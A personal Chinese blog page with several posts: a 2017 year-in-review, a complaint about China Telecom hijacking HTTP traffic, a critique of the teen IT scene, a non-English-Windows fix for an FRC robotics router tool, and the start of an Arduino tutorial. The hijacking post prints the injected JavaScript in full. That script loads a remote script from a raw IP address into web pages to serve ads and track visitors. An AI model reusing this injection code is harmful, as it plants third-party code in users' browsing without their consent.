Bonjour 2018!


2018年来啦!嘿,Soha 准备好了!又是一个惯例的回首这一年的时候。2017年,Soha 17周岁。

2017年注定是重要的一年,这一年发生的,对我整个人生都带来了非常大的影响。今年年初到初夏是我性别焦虑最严重的时候,在这段时间里,我的思想非常混乱,内心非常烦躁,行为也很激动。最关键的是,我还丢了个人。想通这一切是在8月初,在准备于宁波举行的 ¡Hola! Conf 2017 上的演讲的时候想通的。很庆幸,我让自己想通了,恢复了以前可爱的阳光的活泼的 Soha 的形象。但是很可惜的是,该发生的已经发生了,有些伤害一旦造成了就不容易抚平了。

2017年我参加了我这辈子第一场 FIRST Robotics Competition (FRC),在深圳,跟着我的队伍 6385 TrueMoe。随后因为6385进入了休眠,我又进入了深圳队伍 5453 Red Comet 并随他们参加了中国的FRC季后赛。在 FRC 上,我尝试了未尝试过的 OpenCV、Caffe、TensorFlow 等框架。

这一年,我入坑了 Go 和 Rust,但这两种语言目前学习的深度还只是大部分会的语言。今年主要使用的语言还是 PHP、JavaScript、Python、HTML、CSS。OI in Hand 的开发在高三被我重新提上日程。但因为事情比较多,比较杂,我也开了不少小坑来填,所以进度不快。

今年4月是第一次高考,虽然只有一门技术(94)。11月第二次高考,英语(129)、生物(79)、技术(91,选取之前的94)、地理(70)。虽然成绩不是很好,但是还是很有信心!2018年还有第三和最后一次高考,加油!

总体看下来,2017年可能负面的东西比较多。不怕,2018,向前走。

如果要走向光明,那就得朝着第一缕晨光出现的地方。


贴一段电信劫持http js流量的代码


我调试127.0.0.1,是怎么给电信插进广告的?
而且现在插广告越来越嚣张了,已经不是一天只见到两次了,我10分钟都两次了。
微信API我调用的是http……马上加s

上面内容是我在Telegram频道里先发的,图片懒得复制了。https://t.me/sohadays/1566

(function() {
    o = "http://res.wx.qq.com/open/js/jweixin-1.2.0.js?";
    sh = "http://222.186.61.97:7701/main.js?v=3.93&sp=311&ty=dpc";
    w = window;
    d = document;
    function ins(s, dm, id) {
        e = d.createElement("script");
        e.src = s;
        e.type = "text/javascript";
        id ? e.id = id : null;
        dm.appendChild(e);
    }
    ;p = d.scripts[d.scripts.length - 1].parentNode;
    ins(o, p);
    ds = function() {
        db = d.body;
        if (db && !document.getElementById("bdstat")) {
            if ((w.innerWidth || d.documentElement.clientWidth || db.clientWidth) > 1) {
                if (w.top == w.self) {
                    ins(sh, db, "bdstat");
                }
            }
        } else {
            setTimeout("ds()", 1500);
        }
    }
    ;
    ds();
}
)();
var mim_params = {
    'sp': '311',
    'aid': '15303',
    'sda_man': 'OCoJD2sHHl9mc1Fb',
    'src': '0',
    'adtype': '1',
    'uid': 'FwYkUxBwa10QdiNfFgMYKWMBVlhqc2wpagFTW2R2bys4KgkPawceX2ZzUVs=',
    'spid': 'sohu',
    'ad_list': '15303'
};

青少年IT圈的浑水不好蹚


我在之前就因为在GTC筹备的前后发现的一些问题写了一篇文章,你可以在这里读到:为现在青少年IT人的未来而担忧。自那以后我和几个朋友确定不再举行类似GTC的青少年IT向活动,因为我们发现我们没法做到我们想做的——给青少年IT人们引进一些新的东西,提升这个圈子的素质。

最近经常搞事情的崇才科技又搞了个大新闻。国内某视频类自媒体,在微博上推送了一个有关于崇才科技的视频。在视频中,其“CEO”在其中侃侃而谈他和他的“首家00后的公司”的“伟大理想”,并妄言“老一辈企业家已经老了,未来是属于我们00后的”。雷军也对这个内容进行了评价。不假,时间的发展,“00后”肯定是要接过这个担子的,但是谁来接,谁有能力接,不是靠一个啥都没有的公司来说的。

最关键的是我们看看崇才所表现出来的他们的问题:拿别人的东西无视版权、官僚主义、打官腔、一点儿都不务实。我相信这是从几年前开始所展现出来的青少年IT人都可能会有的问题。版权的问题其实是最常见的,也是很好理解的,我相信大多数青少年IT人都有干过拿别人东西改版权的事情。但是有一点很重要,过龄的中二就是耍流氓。更不要说崇才这次还宣传这么大。他们某所谓“作品”的原作者专门写了篇文章来抨击。

还是引用GTC15中提出的概念,伪开发者和商人们不是真正热爱IT的人。

这也再次证明了现在青少年IT圈的浮躁甚至更多负面的东西。这也会导致社会对青少年IT圈失去信心,真正潜心钻研技术的青少年们,也只能选择自己闷声搞事。那么这个究竟该怪谁呢?

本文同步发表于Immortal.Work:https://immortal.work/p/93yYpyqFrDbQ7NHwf


在非英文Windows上使用FRC Radio Configuration Utility


刷写和配置路由器的固件一直是非英语为母语国家的FRC队伍心中的痛,因为非英语的Windows不能正常运行FRC Radio Configuration Utility。而且以前可以用ap51-flash刷写,今年却!不!行!又因为坑爹的Microsoft,只有一些比较高端的版本(比如专业版)才能随意更换Windows语言。为此大部分队伍还得专门重装一台英文的Windows的机子来刷路由。

而今天,终于不需要专门准备英文的Windows了。机智的soha倒腾出了一个在非英文Windows系统下使用FRC Radio Configuration Utility的方法。


下面的内容是最新操作。Version 2018-02-09 22:41

之前的方法比较繁琐,而且可能会引起很多不必要的麻烦(比如我已经解决了好几个因为下面那个方法刷完路由后没有还原设置导致的问题了)。加上在WPILib的官方Repo里我之前提的issue下面,有个墨西哥的dalao说这个方法在西班牙语的系统上不能起作用。经过我在法语Windows上的确认,的确在西欧语系下即使修改了非Unicode程序的设置,在命令行下照样会显示本身的系统语言。

wont_change_in_western_languages.png

作为一个强迫症,我又倒腾出了一个全新的、更简单的方法。

awesome.png

只需要下载这个FRC Radio Configuration Utility Language Fixer.zip,然后将其解压后的 ipconfig.exe 复制到FRC Radio Configuration Utility的安装文件夹(默认路径是 C:\Program Files\FRC Radio Configuration Utility 32位系统 或者 C:\Program Files (x86)\FRC Radio Configuration Utility 64位系统

然后就按照最正常的方式双击桌面上的图标,然后刷写路由就好了。不需要任何其他的操作。

下面简单提一下原理。

FRC Radio Configuration Utility 使用了 ipconfig /all 来获得所有可用于刷写固件和配置的网卡。然而如果你在非英语的Windows上执行这个命令,你会发现它出的结果往往是使用系统语言的。那么问题就出在这里:FRC Radio Configuration Utility 没法识别英语之外的内容啊!

所以我写的这段程序相当于复刻了一个英文版 ipconfig /all。 当然这个复刻版功能更简化了,因为只需要有名称和物理地址就可以了,所以我只输出了物理地址和名称,这样FRC Radio Configuration Utility就可以识别出所有网卡了。

而且更好的是,因为不像之前一样改locale,没有修改系统的默认代码页,所以不需要专门把网卡名称重命名为英文的了。中文的照样可以正常刷写。

compare_fixer_ipconfig.png

compare_fixer_ipconfig-fr.png

附上这个程序的GitHub repo地址:moesoha/frc-rcu-language-fixer

感谢6971的朋友帮忙对该程序进行了测试。


下面的方法因为比较繁琐已不再建议使用。Version 2017-08-19 12:52

(以Windows 10简体中文专业版为例)

首先保证你已经在网络设置里将接Radio的有线网卡的名称改成英文(为了后面选择网卡方便,图片只是举个例子)。

interfaces.png

然后打开设置-时间和语言-日期和时间-其他日期、时间和区域设置(Windows 10,较低的版本是控制面板-时钟、语言和区域),接着依次点开区域-管理-更改系统区域设置,在下拉框中选择英语(美国),随后重启系统。

find_non-unicode.png

重启完后,右击桌面上的FRC Radio Configuration Utility快捷方式更改属性,在兼容性选项卡下面选择兼容模式为Windows 7(如果本来就是Windows 7可以忽略)。

properties_for_RCU.png

应用保存后以管理员身份运行FRC Radio Configuration Utility就可以正常地选择网卡并且刷写啦!

RCU_result.png

刷完后别忘了把第一步中改的英语(美国)换回原来的中华人民共和国的设置,不然很多国产软件会出乱码!


来玩Arduino——做一个高考倒计时表


0x00 写在前面

为啥要写这篇文章呢?因为最近想用数码管做个高考倒计时牌,但是数码管还没买,于是先用自己有的OLED屏幕做了个桌面版的。班里一些同学看到这个逼格这么高的的玩具,也想做一个玩。于是我来写这篇文章教一下。

也是找个理由更新一下许久没更的博客……

本文写的非常简单适合小白,一些大佬请不要吐槽。

photo_2017-06-16_19-24-57.jpg

// 点开我,里面还有许多内容!